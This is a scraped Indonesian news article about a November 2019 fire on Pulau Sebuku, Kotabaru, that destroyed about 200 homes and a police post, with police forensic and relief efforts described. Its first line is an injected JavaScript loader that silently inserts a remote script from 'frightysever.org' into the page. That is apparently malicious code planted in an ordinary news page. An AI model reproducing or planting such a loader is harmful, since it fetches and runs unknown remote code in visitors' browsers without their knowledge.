(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, Tim Laboraorium Forensik (Labfor) Surabaya dilibatkan untuk mengusut penyebab kebakaran di Pulau Sebuku, Kotabaru, Sabtu (23/11) malam lalu. Tim labfor langsung turun ke lokasi kebakaran pada Selasa (26/11) sore didampingi pihak Reskrim Polres Kotabaru.
Kapolres Kotabaru Andi Adnan Syafruddin didampingi Kasat Reskrim Iptu Imam mengatakan, timnya masih mendalami penyebab kebakaran yang menghanguskan sekitar 200 ruah warga tersebut. “Kita tunggu saja hasilnya, nanti kami akan kasi kabar kalau hasil dari Labfor sudah keluar,” katanya.
Saat ini korban kebakaran di Pulau Sebuku masih terus mengungsi. Sekitar 200 unit rumah terbakar dan satu kantor Polsek serta asrama Polisi juga rata dengan tanah. Kebakaran yang terjadi pada Sabtu malam itu, menjadi peristiwa kebakaran besar di Kotabaru.
Kapolda Kalsel Irjen Pol Yazin Panani dan Kapolres Kotabaru AKBP Andi Adnan Syafruddin, SH SIK MM juga sudah turun kelapangan memantau lokasi kejadian. Termasuk melihat Mapolsek yang hanya tersisa puing itu.
Kapolda Kalsel, Irjen Yazid Fanani, mengatakan pihaknya masih melakukan penelusuran terkait faktor penyebab kebakaran besar tersebut. “Pada saat ini masih kita lakukan pendalaman. Tetapi indikasinya adalah faktor listrik,†katanya.
Yazid mengatakan pihaknya saat ini sedang fokus melakukan upaya recovery atau pembangunan kembali. Selain itu, Polda Kalsel juga mengirim personil polisi dari Polres jajaran untuk melaksanakan kegiatan sosial dan membantu masyarakat disana.
“Kita turunkan personil Polri dari Polres Kotabaru sebanyak 50 orang dan juga bantuan dari Polres Tanah Bumbu sebanyak 30 orang. Mereka di sana mendirikan tenda untuk tempat tinggal warga sementara dan mendirikan dapur umum untuk penyediaan makanan,†lanjut Kapolda.
Terkait Makopolsek setempat yang juga ikut di lahap api saat musibah kebakaran kala itu, Kapolda Kalsel memastikan pelayanan kepolisian di Desa Sungai Bali masih tetap berjalan. “Kita sudah dirikan tenda untuk memberikan layanan kepolisian disana. Dalam waktu dekat akan dilakukan lagi pembangunan Makopolsek dibantu pemerintah daerah dan CSR dari berbagai perusahaan di Indonesia,†pungkasnya.
Sehari sebelumnya, tepatnya Minggu (24/11) kemarin, Kapolda bersama Gubernur Kalsel Sahbirin Noor dan Kepala BPBD Kalsel, Wahyudin terbang menuju Pulau Sebuku, Kotabaru, menggunakan Helikopter untuk langsung memantau lokasi kebakaran sekaligus mengirimkan bantuan logistik bagi warga terdampak.
Kebakaran di Desa Sungai Bali Kecamatan Bumi Natar Pulau Sebuku, Sabtu (23/11) kemarin, tercatat sebagai musibah kebakaran terbesar di Kabupaten Kotabaru selama kurun waktu 10 tahun terakhir.
Saat itu, api menyala 5 jam lamanya dan terus merembet ke rumah-rumah warga. Api dengan cepat membesar karena bangunan rumah warga mayoritas berbahan material kayu. Kobaran api mulai bisa dikuasai pada Minggu 24 November 2019 sekitar pukul 03.48 Wita.
Tercatat, api pada malam itu menghanguskan 200 rumah, dua los pasar, satu kantor Polsek, lima pintu Asrama Polisi dan satu Mushala, serta mengakibatkan 750 jiwa mengungsi.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
This website uses cookies.